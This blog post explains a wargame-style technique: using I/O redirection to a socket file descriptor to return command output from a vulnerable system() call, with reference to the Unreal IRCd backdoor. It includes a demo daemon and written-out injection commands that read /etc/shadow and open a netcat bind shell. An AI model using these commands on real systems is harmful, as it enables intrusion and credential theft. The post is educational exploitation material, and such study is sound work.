Fun with System() and I/O Redirection…



I have seen a few wargame levels now that require you to do funky stuff with IO redirection and thought it would make an interesting blog post. For more information about IO redirection please see:

BASH: IO Redirection

I don’t know whether you’re familiar with the late Unreal IRCd source being backdoored? More information can be found here:

Unreal IRCd Backdoor

Well the hackers had placed a system() function in there so that when the attacker connected to the IRC server and issued the following command:

/AB; Command

It would allow them remote command execution on the IRC server itself. Well this is all good and well but everyone knows the system() function sends it output to STDOUT and therefore will not be sent back through the network socket to the client, so the attacker needs to do some funky tricks with I/O redirection. This has been made into a wargame level at Smash The Stack, I won’t say which game I’m sure you can figure that out. So I created a simple Python program to demostrate this issue. Here is the code:

#!/usr/bin/env python

import socket
import os

PORT = 123456

def handle_connections(c, addr):
        print "Connection from: ", addr[0]
        c.sendall("Hello [%s].n" % addr[0])
        c.sendall('Enter command for system: ')
        command = c.recv(1024)
        c.sendall("Executing command: %s" % command)
        c.sendall('Command executed, exiting..n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", PORT))

while 1:

        (c, addr) = s.accept()
        handle_connections(c, addr)

OK, let’s see what happens when we run this program normally. It binds to port 123456, sits awaiting connections, when a client connects it asks for a command to pass to /bin/sh the output of said command will be echoed to the server side console. It is a very contrived example but serves the purpose, let’s see it in action:

Client Side:

root@bt:~# nc 0 123456
Hello [].
Enter command for system: uptime
You want me to execute: uptime
Command executed, exiting..

Server Side:

root@bt:~# python
Connection from:
 22:28:19 up  3:56,  1 user,  load average: 0.63, 0.70, 0.70

OK, got the idea? Imagine, if this was a daemon on a remote host utilizing the system() function somewhere in it’s code. Let’s take a look at how we can utilize bash’s input output redirection to abuse this:

root@bt:~# echo -e "uname -ar 1>&4" | nc 0 123456
Hello [].
Enter command for system: You want me to execute: uname -ar 1>&4
Linux bt #1 SMP Sun Nov 14 06:32:36 EST 2010 i686 GNU/Linux
Command executed, exiting..
root@bt:~# echo -e "cat /etc/shadow | head -n 5 | grep -v 'root' 1>&4" | nc 0 123456
Hello [].
Enter command for system: You want me to execute: cat /etc/shadow | head -n 5 | grep -v 'root' 1>&4
Command executed, exiting..
root@bt:~# echo -e "nc -l -p 67676 -c /bin/sh 1>&4" | nc 0 123456
Hello [].
Enter command for system: You want me to execute: nc -l -p 67676 -c /bin/sh 1>&4

So what did I do here.. well first of all I echoed the command ‘uname -ar’ which displays system information and redirected its standard output to the socket’s file descriptor so that it gets sent back to the client and the attacker can read the information, this is done using the bash input output redirection trick: ‘1>&4’. 1 meaning STDOUT and 4 is the client that connects to the socket. You can see this information under /proc:

root@bt:~# ls -la /proc/18442/fd/
total 0
dr-x------ 2 root root  0 Mar 17 22:33 .
dr-xr-xr-x 7 root root  0 Mar 17 22:33 ..
lrwx------ 1 root root 64 Mar 17 22:33 0 -> /dev/pts/4
lrwx------ 1 root root 64 Mar 17 22:33 1 -> /dev/pts/4
lrwx------ 1 root root 64 Mar 17 22:33 2 -> /dev/pts/4
lrwx------ 1 root root 64 Mar 17 22:33 3 -> socket:[279138]  <--- This is the daemons file descriptor.

18442 is the PID for the Python daemon, and as you can see file descriptor 3 is linked to the daemons socket, what the attacker needs to do is redirect its output via file descriptor 4, when a client connects to the daemon you will see a fourth file descriptor in the above directory. So if we redirect the output it gets displayed to the client (attacker) like we saw above. Finally, I managed to get the daemon to execute:

nc -l -p 67676 -c /bin/sh

Which gives the attacker remote access to the server in a much more convenient manner, as you can see here:

root@bt:~# echo "uptime" | nc 0 67676
 22:59:50 up  4:28,  1 user,  load average: 0.65, 0.72, 0.72

I hope from this you can see the value of I/O redirection ?

Until the next time… ?